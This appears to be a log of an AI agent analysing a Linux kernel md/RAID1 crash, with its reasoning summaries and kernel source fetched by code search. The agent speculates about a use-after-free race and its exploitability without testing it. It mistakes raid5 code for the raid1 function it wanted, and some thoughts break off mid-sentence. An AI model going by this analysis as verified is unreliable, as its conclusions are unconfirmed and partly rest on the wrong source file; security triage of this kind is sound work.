Results: map[Contents:1056: static void _wait_barrier(struct r1conf *conf, int idx)
1057: {
1058: /*
1059: * We need to increase conf->nr_pending[idx] very early here,
1060: * then raise_barrier() can be blocked when it waits for
1061: * conf->nr_pending[idx] to be 0. Then we can avoid holding
1062: * conf->resync_lock when there is no barrier raised in same
1063: * barrier unit bucket. Also if the array is frozen, I/O
1064: * should be blocked until array is unfrozen.
1065: */
1066: atomic_inc(&conf->nr_pending[idx]);
1067: /*
1068: * In _wait_barrier() we firstly increase conf->nr_pending[idx], then
1069: * check conf->barrier[idx]. In raise_barrier() we firstly increase
1070: * conf->barrier[idx], then check conf->nr_pending[idx]. A memory
1071: * barrier is necessary here to make sure conf->barrier[idx] won't be
1072: * fetched before conf->nr_pending[idx] is increased. Otherwise there
1073: * will be a race between _wait_barrier() and raise_barrier().
1074: */
1075: smp_mb__after_atomic();
]
|
| 48/2 |
2026/08/26 10:33 |
llm |
expert |
0m
Model:
Tokens:
input: 38482
output: 22
thoughts: 1305
Thoughts: **Analyzing the Kernel Crash: A Deep Dive**
Okay, so I'm looking at this crash, and my initial thought is, wait, `conf->nr_pending` is an array of `atomic_t`? Let's verify that. Yep, it is. So, `conf->nr_pending[idx]` dereferences `conf->nr_pending`, but then I see the assembly: `mov 0x120(%rbx), %r12`. That reads `conf->nr_pending` into `%r12`. Since `conf` is null, `%rbx` is zero. Therefore, it's reading from address `0x120`.
Aha! Reading from `0x120` is a NULL pointer dereference! It's a read from `0x120`. With `mmap_min_addr` enforced, which is the default, user-space can't map address `0x120`, so the read will page fault and crash the kernel. It's a pure NULL pointer dereference, which leads to a Denial of Service, but isn't exploitable for privilege escalation.
But, hang on, could it be that `conf` isn't NULL, but `conf->nr_pending` is? If `conf` is not NULL, then `conf->nr_pending` is read from `conf + 0x120`. If `conf->nr_pending` is NULL, then `%r12` becomes 0, and `atomic_inc(&conf->nr_pending[idx])` would access `0 + idx * 4`. That would also be a near-NULL dereference.
However, the KASAN report is clear: `KASAN: null-ptr-deref in range [0x0000000000000120-0x0000000000000127]`. The faulting address is `0x120`. This confirms it's the read of `conf->nr_pending` that faults, which means `conf` *is* NULL. If `conf` were not NULL, but `conf->nr_pending` were NULL, the faulting address would be at an offset from 0. The faulting address is `0x120`, so `conf` is definitely NULL.
Now, let's see if we can control `mddev->private`. No, it's set to NULL in `__md_stop`. Wait, `pers->free` frees the `r1conf` structure. This is interesting: could there be a Use-After-Free? If `md_handle_request` reads `mddev->private` *before* it's set to NULL but accesses it *after* it's been freed... That would be a UAF!
Let's look at the timing: Thread 1 runs `md_handle_request`, which calls `raid1_make_request`, then `raid1_write_request`, and gets `conf = mddev->private`. Meanwhile, Thread 2 runs `do_md_stop` -> `__md_stop`, which frees the `mddev->private` and sets `mddev->private = NULL;`. So, if Thread 1 reads `mddev->private` and gets a valid pointer `conf`, then Thread 2 frees it with `pers->free(mddev, mddev->private)`, and Thread 1 dereferences `conf`, that would be a Use-After-Free!
Why the NULL pointer dereference in the KASAN report, then? Because in the reproducer, `mddev->private` was *already* NULL when Thread 1 read it.
If Thread 1 reads `mddev->private` *after* Thread 2 sets it to NULL, it gets NULL, and we get a NULL pointer dereference. But, if Thread 1 reads `mddev->private` *before* Thread 2 frees it, then Thread 2 frees it, Thread 1 gets a UAF.
Are there any locks preventing this race? `md_handle_request` doesn't hold `mddev->lock`. `__md_stop` holds `mddev->lock` only when setting `mddev->pers = NULL`. So, Thread 1 can read `mddev->pers` before it is set to NULL. Then Thread 1 calls `make_request`. Then Thread 2 sets `mddev->pers = NULL`. Then Thread 2 calls `pers->free(mddev, mddev->private)`. Then Thread 1 reads `mddev->private`. If Thread 2 hasn't set it to NULL yet, Thread
|
| 49/2 |
2026/08/26 10:33 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3267: static void raid1_free(struct mddev *mddev, void *priv)
3268: {
3269: struct r1conf *conf = priv;
3270:
3271: mempool_destroy(conf->r1bio_pool);
3272: kfree(conf->mirrors);
3273: safe_put_page(conf->tmppage);
3274: kfree(conf->nr_pending);
3275: kfree(conf->nr_waiting);
3276: kfree(conf->nr_queued);
3277: kfree(conf->barrier);
3278: bioset_exit(&conf->bio_split);
3279: kfree(conf);
3280: }
SourceFile:drivers/md/raid1.c]
|
| 50/2 |
2026/08/26 10:33 |
llm |
expert |
0m
Model:
Tokens:
input: 41075
output: 22
thoughts: 1410
Thoughts: **Use-After-Free Vulnerability in RAID1 Implementation**
Okay, so I've been digging into this. It looks like we've got a potential Use-After-Free in the RAID1 code, and it's looking pretty exploitable. Here's how I see it playing out:
* **The Scenario:** Thread 1 reads `mddev->private`, which is supposed to point to a `struct r1conf`. This happens within `md_handle_request` which then hands the processing off. Crucially, there is no RCU read lock or other synchronization mechanism protecting the read of `mddev->private` at this point.
* **The Race:** Thread 2, concurrently, runs `raid1_free` which calls `kfree(conf)`. This is where it gets scary. After Thread 1 has seen a valid `conf` pointer, it gets preempted. Thread 2 then runs and frees the `conf` pointer that Thread 1 read.
* **The UAF:** Thread 1 resumes, unaware that `conf` is no longer valid, and tries to use the stale `conf` pointer, specifically, accessing `conf->nr_pending`. This is a classic Use-After-Free.
Now, let's break down the functions involved:
1. `md_handle_request` -> `mddev->pers->make_request`: It kicks off the processing without any protection against concurrent free operations on `mddev->private`.
2. `raid1_make_request`: This calls either `raid1_read_request` or `raid1_write_request` depending on the direction of the IO.
3. `raid1_write_request`: This is where the vulnerability arises, it dereferences `mddev->private` to get `conf`. The critical point is that there's no locking preventing Thread 2 from freeing that very same `conf` *after* Thread 1 has read the pointer, but *before* it gets used.
4. `md_write_start`: This is not directly involved in the UAF, but it showcases the logic of transitioning to read/write mode to handle the request.
* `md_handle_request` does *not* hold an RCU read lock across `make_request`, which is key. This means Thread 1 can read `mddev->private`, and then be preempted *before* accessing the pointed-to structure.
Considering `struct r1conf` is allocated with `kzalloc`, this UAF is now a potential security vulnerability. An attacker could potentially control the data that's placed in this freed memory, leading to a kernel crash (at best) or, more concerning, an exploit. This is definitely something we need to investigate. I should check how `struct r1conf` is allocated in the first place to verify this assumption.
|
| 51/2 |
2026/08/26 10:33 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3185: static int raid1_run(struct mddev *mddev)
3186: {
3187: struct r1conf *conf;
3188: int i;
3189: int ret;
3190:
3191: if (mddev->level != 1) {
3192: pr_warn("md/raid1:%s: raid level not set to mirroring (%d)\n",
3193: mdname(mddev), mddev->level);
3194: return -EIO;
3195: }
3196: if (mddev->reshape_position != MaxSector) {
3197: pr_warn("md/raid1:%s: reshape_position set but not supported\n",
3198: mdname(mddev));
3199: return -EIO;
3200: }
3201:
3202: /*
3203: * copy the already verified devices into our private RAID1
3204: * bookkeeping area. [whatever we allocate in run(),
3205: * should be freed in raid1_free()]
3206: */
3207: if (mddev->private == NULL)
3208: conf = setup_conf(mddev);
3209: else
3210: conf = mddev->private;
3211:
3212: if (IS_ERR(conf))
3213: return PTR_ERR(conf);
3214:
3215: if (!mddev_is_dm(mddev)) {
3216: ret = raid1_set_limits(mddev);
3217: if (ret) {
3218: md_unregister_thread(mddev, &conf->thread);
3219: if (!mddev->private)
3220: raid1_free(mddev, conf);
3221: return ret;
3222: }
3223: }
3224:
3225: mddev->degraded = 0;
3226: for (i = 0; i < conf->raid_disks; i++)
3227: if (conf->mirrors[i].rdev == NULL ||
3228: !test_bit(In_sync, &conf->mirrors[i].rdev->flags) ||
3229: test_bit(Faulty, &conf->mirrors[i].rdev->flags))
3230: mddev->degraded++;
3231: /*
3232: * RAID1 needs at least one disk in active
3233: */
3234: if (conf->raid_disks - mddev->degraded < 1) {
3235: md_unregister_thread(mddev, &conf->thread);
3236: if (!mddev->private)
3237: raid1_free(mddev, conf);
3238: return -EINVAL;
3239: }
3240:
3241: if (conf->raid_disks - mddev->degraded == 1)
3242: mddev->resync_offset = MaxSector;
3243:
3244: if (mddev->resync_offset != MaxSector)
3245: pr_info("md/raid1:%s: not clean -- starting background reconstruction\n",
3246: mdname(mddev));
3247: pr_info("md/raid1:%s: active with %d out of %d mirrors\n",
3248: mdname(mddev), mddev->raid_disks - mddev->degraded,
3249: mddev->raid_disks);
3250:
3251: /*
3252: * Ok, everything is just fine now
3253: */
3254: rcu_assign_pointer(mddev->thread, conf->thread);
3255: rcu_assign_pointer(conf->thread, NULL);
3256: mddev->private = conf;
3257: set_bit(MD_FAILFAST_SUPPORTED, &mddev->flags);
3258:
3259: md_set_array_sectors(mddev, raid1_size(mddev, 0, 0));
3260:
3261: ret = md_integrity_register(mddev);
3262: if (ret)
3263: md_unregister_thread(mddev, &mddev->thread);
3264: return ret;
3265: }
SourceFile:drivers/md/raid1.c]
|
| 52/2 |
2026/08/26 10:33 |
llm |
expert |
0m
Model:
Tokens:
input: 44396
output: 21
thoughts: 9
Thoughts: Here's my understanding of the thought process, from the perspective of an expert:
**Allocation of Configuration**
Okay, so I see the function `setup_conf`. The implied action is that it's responsible for allocating a `conf` object, presumably to store configuration data. I'm inferring this means `setup_conf` will likely be responsible for memory management, or at least the initialization of a data structure. It's a fundamental operation, so the details are key: Is it dynamically allocating memory? Using a pre-defined struct? What values is it initializing the conf object to? Is there error handling around the allocation process (checking for memory exhaustion, etc.)? I'd need to examine the implementation to see if it's using malloc, calloc, or another method to allocate the memory and how the `conf` struct is set up.
|
| 53/2 |
2026/08/26 10:33 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7633: static struct r5conf *setup_conf(struct mddev *mddev)
7634: {
7635: struct r5conf *conf;
7636: int raid_disk, memory, max_disks;
7637: struct md_rdev *rdev;
7638: struct disk_info *disk;
7639: char pers_name[6];
7640: int i;
7641: int group_cnt;
7642: struct r5worker_group *new_group;
7643: int ret = -ENOMEM;
7644:
7645: if (mddev->new_level != 5
7646: && mddev->new_level != 4
7647: && mddev->new_level != 6) {
7648: pr_warn("md/raid:%s: raid level not set to 4/5/6 (%d)\n",
7649: mdname(mddev), mddev->new_level);
7650: return ERR_PTR(-EIO);
7651: }
7652: if ((mddev->new_level == 5
7653: && !algorithm_valid_raid5(mddev->new_layout)) ||
7654: (mddev->new_level == 6
7655: && !algorithm_valid_raid6(mddev->new_layout))) {
7656: pr_warn("md/raid:%s: layout %d not supported\n",
7657: mdname(mddev), mddev->new_layout);
7658: return ERR_PTR(-EIO);
7659: }
7660: if (mddev->new_level == 6 && mddev->raid_disks < 4) {
7661: pr_warn("md/raid:%s: not enough configured devices (%d, minimum 4)\n",
7662: mdname(mddev), mddev->raid_disks);
7663: return ERR_PTR(-EINVAL);
7664: }
7665:
7666: if (!mddev->new_chunk_sectors ||
7667: (mddev->new_chunk_sectors << 9) % PAGE_SIZE ||
7668: !is_power_of_2(mddev->new_chunk_sectors)) {
7669: pr_warn("md/raid:%s: invalid chunk size %d\n",
7670: mdname(mddev), mddev->new_chunk_sectors << 9);
7671: return ERR_PTR(-EINVAL);
7672: }
7673:
7674: conf = kzalloc_obj(struct r5conf);
7675: if (conf == NULL)
7676: goto abort;
7677:
7678: #if PAGE_SIZE != DEFAULT_STRIPE_SIZE
7679: conf->stripe_size = DEFAULT_STRIPE_SIZE;
7680: conf->stripe_shift = ilog2(DEFAULT_STRIPE_SIZE) - 9;
7681: conf->stripe_sectors = DEFAULT_STRIPE_SIZE >> 9;
7682: #endif
7683: INIT_LIST_HEAD(&conf->free_list);
7684: INIT_LIST_HEAD(&conf->pending_list);
7685: conf->pending_data = kzalloc_objs(struct r5pending_data, PENDING_IO_MAX);
7686: if (!conf->pending_data)
7687: goto abort;
7688: for (i = 0; i < PENDING_IO_MAX; i++)
7689: list_add(&conf->pending_data[i].sibling, &conf->free_list);
7690: /* Don't enable multi-threading by default*/
7691: if (!alloc_thread_groups(conf, 0, &group_cnt, &new_group)) {
7692: conf->group_cnt = group_cnt;
7693: conf->worker_cnt_per_group = 0;
7694: conf->worker_groups = new_group;
7695: } else
7696: goto abort;
7697: spin_lock_init(&conf->device_lock);
7698: seqcount_spinlock_init(&conf->gen_lock, &conf->device_lock);
7699: mutex_init(&conf->cache_size_mutex);
7700:
7701: init_waitqueue_head(&conf->wait_for_quiescent);
7702: init_waitqueue_head(&conf->wait_for_stripe);
7703: init_waitqueue_head(&conf->wait_for_reshape);
7704: INIT_LIST_HEAD(&conf->handle_list);
7705: INIT_LIST_HEAD(&conf->loprio_list);
7706: INIT_LIST_HEAD(&conf->hold_list);
7707: INIT_LIST_HEAD(&conf->delayed_list);
7708: INIT_LIST_HEAD(&conf->bitmap_list);
7709: init_llist_head(&conf->released_stripes);
7710: atomic_set(&conf->active_stripes, 0);
7711: atomic_set(&conf->preread_active_stripes, 0);
7712: atomic_set(&conf->active_aligned_reads, 0);
7713: spin_lock_init(&conf->pending_bios_lock);
7714: conf->batch_bio_dispatch = true;
7715: rdev_for_each(rdev, mddev) {
7716: if (test_bit(Journal, &rdev->flags))
7717: continue;
7718: if (!bdev_rot(rdev->bdev)) {
7719: conf->batch_bio_dispatch = false;
7720: break;
7721: }
7722: }
7723:
7724: conf->bypass_threshold = BYPASS_THRESHOLD;
7725: conf->raid_disks = mddev->raid_disks;
7726: if (mddev->reshape_position == MaxSector)
7727: conf->previous_raid_disks = mddev->raid_disks;
7728: else
7729: conf->previous_raid_disks = mddev->raid_disks - mddev->delta_disks;
7730: max_disks = max(conf->raid_disks, conf->previous_raid_disks);
7731:
7732: conf->disks = kzalloc_objs(struct disk_info, max_disks);
7733:
7734: if (!conf->disks)
7735: goto abort;
7736:
7737: for (i = 0; i < max_disks; i++) {
7738: conf->disks[i].extra_page = alloc_page(GFP_KERNEL);
7739: if (!conf->disks[i].extra_page)
7740: goto abort;
7741: }
7742:
7743: ret = bioset_init(&conf->bio_split, BIO_POOL_SIZE, 0, 0);
7744: if (ret)
7745: goto abort;
7746: conf->mddev = mddev;
7747:
7748: ret = -ENOMEM;
7749: conf->stripe_hashtbl = kzalloc(PAGE_SIZE, GFP_KERNEL);
7750: if (!conf->stripe_hashtbl)
7751: goto abort;
7752:
7753: /* We init hash_locks[0] separately to that it can be used
7754: * as the reference lock in the spin_lock_nest_lock() call
7755: * in lock_all_device_hash_locks_irq in order to convince
7756: * lockdep that we know what we are doing.
7757: */
7758: spin_lock_init(conf->hash_locks);
7759: for (i = 1; i < NR_STRIPE_HASH_LOCKS; i++)
7760: spin_lock_init(conf->hash_locks + i);
7761:
7762: for (i = 0; i < NR_STRIPE_HASH_LOCKS; i++)
7763: INIT_LIST_HEAD(conf->inactive_list + i);
7764:
7765: for (i = 0; i < NR_STRIPE_HASH_LOCKS; i++)
7766: INIT_LIST_HEAD(conf->temp_inactive_list + i);
7767:
7768: atomic_set(&conf->r5c_cached_full_stripes, 0);
7769: INIT_LIST_HEAD(&conf->r5c_full_stripe_list);
7770: atomic_set(&conf->r5c_cached_partial_stripes, 0);
7771: INIT_LIST_HEAD(&conf->r5c_partial_stripe_list);
7772: atomic_set(&conf->r5c_flushing_full_stripes, 0);
7773: atomic_set(&conf->r5c_flushing_partial_stripes, 0);
7774:
7775: conf->level = mddev->new_level;
7776: conf->chunk_sectors = mddev->new_chunk_sectors;
7777: ret = raid5_alloc_percpu(conf);
7778: if (ret)
7779: goto abort;
7780:
7781: pr_debug("raid456: run(%s) called.\n", mdname(mddev));
7782:
7783: ret = -EIO;
7784: rdev_for_each(rdev, mddev) {
7785: raid_disk = rdev->raid_disk;
7786: if (raid_disk >= max_disks
7787: || raid_disk < 0 || test_bit(Journal, &rdev->flags))
7788: continue;
7789: disk = conf->disks + raid_disk;
7790:
7791: if (test_bit(Replacement, &rdev->flags)) {
7792: if (disk->replacement)
7793: goto abort;
7794: disk->replacement = rdev;
7795: } else {
7796: if (disk->rdev)
7797: goto abort;
7798: disk->rdev = rdev;
7799: }
7800:
7801: if (test_bit(In_sync, &rdev->flags)) {
7802: pr_info("md/raid:%s: device %pg operational as raid disk %d\n",
7803: mdname(mddev), rdev->bdev, raid_disk);
7804: } else if (rdev->saved_raid_disk != raid_disk)
7805: /* Cannot rely on bitmap to complete recovery */
7806: conf->fullsync = 1;
7807: }
7808:
7809: conf->level = mddev->new_level;
7810: if (conf->level == 6) {
7811: conf->max_degraded = 2;
7812: if (raid6_can_xor_syndrome())
7813: conf->rmw_level = PARITY_ENABLE_RMW;
7814: else
7815: conf->rmw_level = PARITY_DISABLE_RMW;
7816: } else {
7817: conf->max_degraded = 1;
7818: conf->rmw_level = PARITY_ENABLE_RMW;
7819: }
7820: conf->algorithm = mddev->new_layout;
7821: conf->reshape_progress = mddev->reshape_position;
7822: if (conf->reshape_progress != MaxSector) {
7823: conf->prev_chunk_sectors = mddev->chunk_sectors;
7824: conf->prev_algo = mddev->layout;
7825: } else {
7826: conf->prev_chunk_sectors = conf->chunk_sectors;
7827: conf->prev_algo = conf->algorithm;
7828: }
7829:
7830: conf->min_nr_stripes = NR_STRIPES;
7831: if (mddev->reshape_position != MaxSector) {
7832: int stripes = max_t(int,
7833: ((mddev->chunk_sectors << 9) / RAID5_STRIPE_SIZE(conf)) * 4,
7834: ((mddev->new_chunk_sectors << 9) / RAID5_STRIPE_SIZE(conf)) * 4);
7835: conf->min_nr_stripes = max(NR_STRIPES, stripes);
7836: if (conf->min_nr_stripes != NR_STRIPES)
7837: pr_info("md/raid:%s: force stripe size %d for reshape\n",
7838: mdname(mddev), conf->min_nr_stripes);
7839: }
7840: memory = conf->min_nr_stripes * (sizeof(struct stripe_head) +
7841: max_disks * ((sizeof(struct bio) + PAGE_SIZE))) / 1024;
7842: atomic_set(&conf->empty_inactive_list_nr, NR_STRIPE_HASH_LOCKS);
7843: if (grow_stripes(conf, conf->min_nr_stripes)) {
7844: pr_warn("md/raid:%s: couldn't allocate %dkB for buffers\n",
7845: mdname(mddev), memory);
7846: ret = -ENOMEM;
7847: goto abort;
7848: } else
7849: pr_debug("md/raid:%s: allocated %dkB\n", mdname(mddev), memory);
7850: /*
7851: * Losing a stripe head costs more than the time to refill it,
7852: * it reduces the queue depth and so can hurt throughput.
7853: * So set it rather large, scaled by number of devices.
7854: */
7855: conf->shrinker = shrinker_alloc(0, "md-raid5:%s", mdname(mddev));
7856: if (!conf->shrinker) {
7857: ret = -ENOMEM;
7858: pr_warn("md/raid:%s: couldn't allocate shrinker.\n",
7859: mdname(mddev));
7860: goto abort;
7861: }
7862:
7863: conf->shrinker->seeks = DEFAULT_SEEKS * conf->raid_disks * 4;
7864: conf->shrinker->scan_objects = raid5_cache_scan;
7865: conf->shrinker->count_objects = raid5_cache_count;
7866: conf->shrinker->batch = 128;
7867: conf->shrinker->private_data = conf;
7868:
7869: shrinker_register(conf->shrinker);
7870:
7871: sprintf(pers_name, "raid%d", mddev->new_level);
7872: rcu_assign_pointer(conf->thread,
7873: md_register_thread(raid5d, mddev, pers_name));
7874: if (!conf->thread) {
7875: pr_warn("md/raid:%s: couldn't allocate thread.\n",
7876: mdname(mddev));
7877: ret = -ENOMEM;
7878: goto abort;
7879: }
7880:
7881: return conf;
7882:
7883: abort:
7884: if (conf)
7885: free_conf(conf);
7886: return ERR_PTR(ret);
7887: }
SourceFile:drivers/md/raid5.c]
|
| 54/2 |
2026/08/26 10:33 |
llm |
expert |
0m
Model:
Tokens:
input: 49077
output: 21
thoughts: 19
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Eureka! The `setup_conf` Function is the Key!**
Okay, after mulling over the problem, I've got it. I was digging through `raid1.c` and, finally, it clicked. The `setup_conf` function is precisely what I need. It's the core component for setting up the RAID configuration. This is where the crucial parameters, the device mappings, and the initial synchronization are handled, right? That's the entry point to my solution. Now, I can build around this!
|
| 55/2 |
2026/08/26 10:33 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7633: static struct r5conf *setup_conf(struct mddev *mddev)
7634: {
7635: struct r5conf *conf;
7636: int raid_disk, memory, max_disks;
7637: struct md_rdev *rdev;
7638: struct disk_info *disk;
7639: char pers_name[6];
7640: int i;
7641: int group_cnt;
7642: struct r5worker_group *new_group;
7643: int ret = -ENOMEM;
7644:
7645: if (mddev->new_level != 5
7646: && mddev->new_level != 4
7647: && mddev->new_level != 6) {
7648: pr_warn("md/raid:%s: raid level not set to 4/5/6 (%d)\n",
7649: mdname(mddev), mddev->new_level);
7650: return ERR_PTR(-EIO);
7651: }
7652: if ((mddev->new_level == 5
7653: && !algorithm_valid_raid5(mddev->new_layout)) ||
7654: (mddev->new_level == 6
7655: && !algorithm_valid_raid6(mddev->new_layout))) {
7656: pr_warn("md/raid:%s: layout %d not supported\n",
7657: mdname(mddev), mddev->new_layout);
7658: return ERR_PTR(-EIO);
7659: }
7660: if (mddev->new_level == 6 && mddev->raid_disks < 4) {
7661: pr_warn("md/raid:%s: not enough configured devices (%d, minimum 4)\n",
7662: mdname(mddev), mddev->raid_disks);
7663: return ERR_PTR(-EINVAL);
7664: }
7665:
7666: if (!mddev->new_chunk_sectors ||
7667: (mddev->new_chunk_sectors << 9) % PAGE_SIZE ||
7668: !is_power_of_2(mddev->new_chunk_sectors)) {
7669: pr_warn("md/raid:%s: invalid chunk size %d\n",
7670: mdname(mddev), mddev->new_chunk_sectors << 9);
7671: return ERR_PTR(-EINVAL);
7672: }
7673:
7674: conf = kzalloc_obj(struct r5conf);
7675: if (conf == NULL)
7676: goto abort;
7677:
7678: #if PAGE_SIZE != DEFAULT_STRIPE_SIZE
7679: conf->stripe_size = DEFAULT_STRIPE_SIZE;
7680: conf->stripe_shift = ilog2(DEFAULT_STRIPE_SIZE) - 9;
7681: conf->stripe_sectors = DEFAULT_STRIPE_SIZE >> 9;
7682: #endif
7683: INIT_LIST_HEAD(&conf->free_list);
7684: INIT_LIST_HEAD(&conf->pending_list);
7685: conf->pending_data = kzalloc_objs(struct r5pending_data, PENDING_IO_MAX);
7686: if (!conf->pending_data)
7687: goto abort;
7688: for (i = 0; i < PENDING_IO_MAX; i++)
7689: list_add(&conf->pending_data[i].sibling, &conf->free_list);
7690: /* Don't enable multi-threading by default*/
7691: if (!alloc_thread_groups(conf, 0, &group_cnt, &new_group)) {
7692: conf->group_cnt = group_cnt;
7693: conf->worker_cnt_per_group = 0;
7694: conf->worker_groups = new_group;
7695: } else
7696: goto abort;
7697: spin_lock_init(&conf->device_lock);
7698: seqcount_spinlock_init(&conf->gen_lock, &conf->device_lock);
7699: mutex_init(&conf->cache_size_mutex);
7700:
7701: init_waitqueue_head(&conf->wait_for_quiescent);
7702: init_waitqueue_head(&conf->wait_for_stripe);
7703: init_waitqueue_head(&conf->wait_for_reshape);
7704: INIT_LIST_HEAD(&conf->handle_list);
7705: INIT_LIST_HEAD(&conf->loprio_list);
7706: INIT_LIST_HEAD(&conf->hold_list);
7707: INIT_LIST_HEAD(&conf->delayed_list);
7708: INIT_LIST_HEAD(&conf->bitmap_list);
7709: init_llist_head(&conf->released_stripes);
7710: atomic_set(&conf->active_stripes, 0);
7711: atomic_set(&conf->preread_active_stripes, 0);
7712: atomic_set(&conf->active_aligned_reads, 0);
7713: spin_lock_init(&conf->pending_bios_lock);
7714: conf->batch_bio_dispatch = true;
7715: rdev_for_each(rdev, mddev) {
7716: if (test_bit(Journal, &rdev->flags))
7717: continue;
7718: if (!bdev_rot(rdev->bdev)) {
7719: conf->batch_bio_dispatch = false;
7720: break;
7721: }
7722: }
7723:
7724: conf->bypass_threshold = BYPASS_THRESHOLD;
7725: conf->raid_disks = mddev->raid_disks;
7726: if (mddev->reshape_position == MaxSector)
7727: conf->previous_raid_disks = mddev->raid_disks;
7728: else
7729: conf->previous_raid_disks = mddev->raid_disks - mddev->delta_disks;
7730: max_disks = max(conf->raid_disks, conf->previous_raid_disks);
7731:
7732: conf->disks = kzalloc_objs(struct disk_info, max_disks);
7733:
7734: if (!conf->disks)
7735: goto abort;
7736:
7737: for (i = 0; i < max_disks; i++) {
7738: conf->disks[i].extra_page = alloc_page(GFP_KERNEL);
7739: if (!conf->disks[i].extra_page)
7740: goto abort;
7741: }
7742:
7743: ret = bioset_init(&conf->bio_split, BIO_POOL_SIZE, 0, 0);
7744: if (ret)
7745: goto abort;
7746: conf->mddev = mddev;
7747:
7748: ret = -ENOMEM;
7749: conf->stripe_hashtbl = kzalloc(PAGE_SIZE, GFP_KERNEL);
7750: if (!conf->stripe_hashtbl)
7751: goto abort;
7752:
7753: /* We init hash_locks[0] separately to that it can be used
7754: * as the reference lock in the spin_lock_nest_lock() call
7755: * in lock_all_device_hash_locks_irq in order to convince
7756: * lockdep that we know what we are doing.
7757: */
7758: spin_lock_init(conf->hash_locks);
7759: for (i = 1; i < NR_STRIPE_HASH_LOCKS; i++)
7760: spin_lock_init(conf->hash_locks + i);
7761:
7762: for (i = 0; i < NR_STRIPE_HASH_LOCKS; i++)
7763: INIT_LIST_HEAD(conf->inactive_list + i);
7764:
7765: for (i = 0; i < NR_STRIPE_HASH_LOCKS; i++)
7766: INIT_LIST_HEAD(conf->temp_inactive_list + i);
7767:
7768: atomic_set(&conf->r5c_cached_full_stripes, 0);
7769: INIT_LIST_HEAD(&conf->r5c_full_stripe_list);
7770: atomic_set(&conf->r5c_cached_partial_stripes, 0);
7771: INIT_LIST_HEAD(&conf->r5c_partial_stripe_list);
7772: atomic_set(&conf->r5c_flushing_full_stripes, 0);
7773: atomic_set(&conf->r5c_flushing_partial_stripes, 0);
7774:
7775: conf->level = mddev->new_level;
7776: conf->chunk_sectors = mddev->new_chunk_sectors;
7777: ret = raid5_alloc_percpu(conf);
7778: if (ret)
7779: goto abort;
7780:
7781: pr_debug("raid456: run(%s) called.\n", mdname(mddev));
7782:
7783: ret = -EIO;
7784: rdev_for_each(rdev, mddev) {
7785: raid_disk = rdev->raid_disk;
7786: if (raid_disk >= max_disks
7787: || raid_disk < 0 || test_bit(Journal, &rdev->flags))
7788: continue;
7789: disk = conf->disks + raid_disk;
7790:
7791: if (test_bit(Replacement, &rdev->flags)) {
7792: if (disk->replacement)
7793: goto abort;
7794: disk->replacement = rdev;
7795: } else {
7796: if (disk->rdev)
7797: goto abort;
7798: disk->rdev = rdev;
7799: }
7800:
7801: if (test_bit(In_sync, &rdev->flags)) {
7802: pr_info("md/raid:%s: device %pg operational as raid disk %d\n",
7803: mdname(mddev), rdev->bdev, raid_disk);
7804: } else if (rdev->saved_raid_disk != raid_disk)
7805: /* Cannot rely on bitmap to complete recovery */
7806: conf->fullsync = 1;
7807: }
7808:
7809: conf->level = mddev->new_level;
7810: if (conf->level == 6) {
7811: conf->max_degraded = 2;
7812: if (raid6_can_xor_syndrome())
7813: conf->rmw_level = PARITY_ENABLE_RMW;
7814: else
7815: conf->rmw_level = PARITY_DISABLE_RMW;
7816: } else {
7817: conf->max_degraded = 1;
7818: conf->rmw_level = PARITY_ENABLE_RMW;
7819: }
7820: conf->algorithm = mddev->new_layout;
7821: conf->reshape_progress = mddev->reshape_position;
7822: if (conf->reshape_progress != MaxSector) {
7823: conf->prev_chunk_sectors = mddev->chunk_sectors;
7824: conf->prev_algo = mddev->layout;
7825: } else {
7826: conf->prev_chunk_sectors = conf->chunk_sectors;
7827: conf->prev_algo = conf->algorithm;
7828: }
7829:
7830: conf->min_nr_stripes = NR_STRIPES;
7831: if (mddev->reshape_position != MaxSector) {
7832: int stripes = max_t(int,
7833: ((mddev->chunk_sectors << 9) / RAID5_STRIPE_SIZE(conf)) * 4,
7834: ((mddev->new_chunk_sectors << 9) / RAID5_STRIPE_SIZE(conf)) * 4);
7835: conf->min_nr_stripes = max(NR_STRIPES, stripes);
7836: if (conf->min_nr_stripes != NR_STRIPES)
7837: pr_info("md/raid:%s: force stripe size %d for reshape\n",
7838: mdname(mddev), conf->min_nr_stripes);
7839: }
7840: memory = conf->min_nr_stripes * (sizeof(struct stripe_head) +
7841: max_disks * ((sizeof(struct bio) + PAGE_SIZE))) / 1024;
7842: atomic_set(&conf->empty_inactive_list_nr, NR_STRIPE_HASH_LOCKS);
7843: if (grow_stripes(conf, conf->min_nr_stripes)) {
7844: pr_warn("md/raid:%s: couldn't allocate %dkB for buffers\n",
7845: mdname(mddev), memory);
7846: ret = -ENOMEM;
7847: goto abort;
7848: } else
7849: pr_debug("md/raid:%s: allocated %dkB\n", mdname(mddev), memory);
7850: /*
7851: * Losing a stripe head costs more than the time to refill it,
7852: * it reduces the queue depth and so can hurt throughput.
7853: * So set it rather large, scaled by number of devices.
7854: */
7855: conf->shrinker = shrinker_alloc(0, "md-raid5:%s", mdname(mddev));
7856: if (!conf->shrinker) {
7857: ret = -ENOMEM;
7858: pr_warn("md/raid:%s: couldn't allocate shrinker.\n",
7859: mdname(mddev));
7860: goto abort;
7861: }
7862:
7863: conf->shrinker->seeks = DEFAULT_SEEKS * conf->raid_disks * 4;
7864: conf->shrinker->scan_objects = raid5_cache_scan;
7865: conf->shrinker->count_objects = raid5_cache_count;
7866: conf->shrinker->batch = 128;
7867: conf->shrinker->private_data = conf;
7868:
7869: shrinker_register(conf->shrinker);
7870:
7871: sprintf(pers_name, "raid%d", mddev->new_level);
7872: rcu_assign_pointer(conf->thread,
7873: md_register_thread(raid5d, mddev, pers_name));
7874: if (!conf->thread) {
7875: pr_warn("md/raid:%s: couldn't allocate thread.\n",
7876: mdname(mddev));
7877: ret = -ENOMEM;
7878: goto abort;
7879: }
7880:
7881: return conf;
7882:
7883: abort:
7884: if (conf)
7885: free_conf(conf);
7886: return ERR_PTR(ret);
7887: }
SourceFile:drivers/md/raid5.c]
|
| 56/2 |
2026/08/26 10:33 |
llm |
expert |
0m
Model:
Tokens:
input: 53718
output: 21
thoughts: 29
Thoughts: Okay, here's my interpretation of that thought process, from an expert's perspective:
**Debugging RAID Configuration: Diving Deeper**
